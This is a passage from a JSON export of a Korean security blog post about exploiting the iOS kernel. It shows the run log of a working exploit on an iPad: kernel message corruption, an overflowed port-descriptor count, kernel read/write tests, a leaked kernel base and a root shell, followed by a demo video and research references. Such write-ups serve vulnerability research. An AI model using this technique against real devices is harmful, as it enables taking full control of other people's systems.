0x58df970\nkheap_data_idx: 00000A92\nSurvived, Determined which kmsg has been corrupted!\nIncreased mach_msg_body_t's msgh_descriptor_count to 1\nOverflowing mach_msg_ool_ports_descriptor_t's count to make 0x7f8...\nRemaining iterations: 93000000\nRemaining iterations: 92000000\nRemaining iterations: 91000000\nRemaining iterations: 90000000\nRemaining iterations: 89000000\nRemaining iterations: 88000000\nRemaining iterations: 87000000\nRemaining iterations: 86000000\nRemaining iterations: 85000000\nRemaining iterations: 84000000\nRemaining iterations: 83000000\nRemaining iterations: 82000000\nRemaining iterations: 81000000\nRemaining iterations: 80000000\nRemaining iterations: 79000000\nRemaining iterations: 78000000\nRemaining iterations: 77000000\nRemaining iterations: 76000000\nRemaining iterations: 75000000\nRemaining iterations: 74000000\nRemaining iterations: 73000000\nRemaining iterations: 72000000\nRemaining iterations: 71000000\nRemaining iterations: 70000000\nRemaining iterations: 69000000\nRemaining iterations: 68000000\nRemaining iterations: 67000000\nRemaining iterations: 66000000\nRemaining iterations: 65000000\nRemaining iterations: 64000000\nRemaining iterations: 63000000\nRemaining iterations: 62000000\nRemaining iterations: 61000000\nRemaining iterations: 60000000\nRemaining iterations: 59000000\nRemaining iterations: 58000000\nRemaining iterations: 57000000\nRemaining iterations: 56000000\nRemaining iterations: 55000000\nRemaining iterations: 54000000\nRemaining iterations: 53000000\nRemaining iterations: 52000000\nRemaining iterations: 51000000\nRemaining iterations: 50000000\nRemaining iterations: 49000000\nRemaining iterations: 48000000\nRemaining iterations: 47000000\nRemaining iterations: 46000000\nRemaining iterations: 45000000\nRemaining iterations: 44000000\nRemaining iterations: 43000000\nRemaining iterations: 42000000\nRemaining iterations: 41000000\nRemaining iterations: 40000000\nRemaining iterations: 39000000\nRemaining iterations: 38000000\nRemaining iterations: 37000000\nRemaining iterations: 36000000\nRemaining iterations: 35000000\nRemaining iterations: 34000000\nRemaining iterations: 33000000\nRemaining iterations: 32000000\nRemaining iterations: 31000000\nRemaining iterations: 30000000\nRemaining iterations: 29000000\nRemaining iterations: 28000000\nRemaining iterations: 27000000\nRemaining iterations: 26000000\nRemaining iterations: 25000000\nRemaining iterations: 24000000\nRemaining iterations: 23000000\nRemaining iterations: 22000000\nRemaining iterations: 21000000\nRemaining iterations: 20000000\nRemaining iterations: 19000000\nRemaining iterations: 18000000\nRemaining iterations: 17000000\nRemaining iterations: 16000000\nRemaining iterations: 15000000\nRemaining iterations: 14000000\nRemaining iterations: 13000000\nRemaining iterations: 12000000\nRemaining iterations: 11000000\nRemaining iterations: 10000000\nRemaining iterations: 9000000\nRemaining iterations: 8000000\nRemaining iterations: 7000000\nRemaining iterations: 6000000\nRemaining iterations: 5000000\nRemaining iterations: 4000000\nRemaining iterations: 3000000\nRemaining iterations: 2000000\nRemaining iterations: 1000000\nMade mach_msg_ool_ports_descriptor_t's count to 0x7F8\nkheap_default_idx: 00000BDC\nTest kwrite32 and kread32: 0000FEED (should be 0000FEED)\nGet kernel base...\n\nGot kernel base: 0xfffffff021ab0000\nkread32(kernel_base) success: FEEDFACF\n\niPad7-150:~ root# \niPad7-150:~ root# \n<\/code><\/pre>\n<h1>\uc2dc\uc5f0 \uc601\uc0c1<\/h1>\n<p><a href=\"https:\/\/www.youtube.com\/watch?v=-JZDTxGVFps\">https:\/\/www.youtube.com\/watch?v=-JZDTxGVFps<\/a><\/p>\n<h1>\ucc38\uace0 \uc790\ub8cc<\/h1>\n<p><a href=\"https:\/\/github.com\/potmdehex\/slides\/blob\/main\/Zer0Con_2022_Tales_from_the_iOS_macOS_Kernel_Trenches.pdf\">https:\/\/github.com\/potmdehex\/slides\/blob\/main\/Zer0Con_2022_Tales_from_the_iOS_macOS_Kernel_Trenches.pdf<\/a><\/p>\n<p><a href=\"https:\/\/github.com\/potmdehex\/slides\/blob\/main\/Hexacon_2022_More_Tales_from_the_iOS_macOS_Kernel_Trenches.pdf\">https:\/\/github.com\/potmdehex\/slides\/blob\/main\/Hexacon_2022_More_Tales_from_the_iOS_macOS_Kernel_Trenches.pdf<\/a><\/p>\n<p><a href=\"https:\/\/github.com\/potmdehex\/multicast_bytecopy\">https:\/\/github.com\/potmdehex\/multicast_bytecopy<\/a><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","footnotes":""},"categories":[72],"tags":[11,12,13,25],"class_list":["post-4096","post","type-post","status-publish","format-standard","hentry","category-realworld","tag-ios","tag-ios-kernel","tag-macos","tag-pwnable"],"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4096","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4096"}],"version-history":[{"count":1,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4096\/revisions"}],"predecessor-version":[{"id":4099,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4096\/revisions\/4099"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4096"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4096"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4096"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}